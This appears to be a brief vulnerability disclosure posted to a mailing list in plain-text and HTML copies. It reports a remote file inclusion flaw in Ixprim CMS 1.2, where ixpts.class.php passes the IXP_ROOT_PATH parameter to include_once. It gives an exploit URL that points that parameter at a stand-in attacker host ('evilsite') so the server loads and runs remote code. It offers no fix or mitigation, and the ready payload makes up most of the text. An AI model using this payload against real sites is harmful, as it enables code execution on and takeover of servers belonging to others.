ixprimcms12.txt

`------=_Part_96108_26929307.1163927585070  
Content-Type: text/plain; charset=ISO-8859-1; format=flowed  
Content-Transfer-Encoding: 7bit  
Content-Disposition: inline  
  
Aplication : Ixprim CMS 1.2  
  
URL :  
http://optusnet.dl.sourceforge.net/sourceforge/ixprim/ixprim-1.2-200603171800.zip  
  
variable ixpts.class.php  
  
include_once( IXP_ROOT_PATH.'/kernel/class/files.class.php' );  
  
Exploit :  
http://www.vuln.com/kernel/class/ixpts.class.php?IXP_ROOT_PATH=http://evilsite  
  
vitux  
  
#[email protected]  
  
------=_Part_96108_26929307.1163927585070  
Content-Type: text/html; charset=ISO-8859-1  
Content-Transfer-Encoding: 7bit  
Content-Disposition: inline  
  
<div>Aplication : Ixprim CMS 1.2</div>  
<div>&nbsp;</div>  
<div>URL :<a href="http://optusnet.dl.sourceforge.net/sourceforge/ixprim/ixprim-1.2-200603171800.zip">http://optusnet.dl.sourceforge.net/sourceforge/ixprim/ixprim-1.2-200603171800.zip</a></div>  
<div>&nbsp;</div>  
<div>variable ixpts.class.php</div>  
<div>&nbsp;</div>  
<div>include_once( IXP_ROOT_PATH.'/kernel/class/files.class.php' );</div>  
<div>&nbsp;</div>  
<div>Exploit :&nbsp; <a href="http://www.vuln.com/kernel/class/ixpts.class.php?IXP_ROOT_PATH=http://evilsite">http://www.vuln.com/kernel/class/ixpts.class.php?IXP_ROOT_PATH=http://evilsite</a></div>  
<div>&nbsp;</div>  
<div>vitux<br>&nbsp;<br><a href="mailto:#[email protected]">#[email protected]</a></div>  
  
------=_Part_96108_26929307.1163927585070--  
`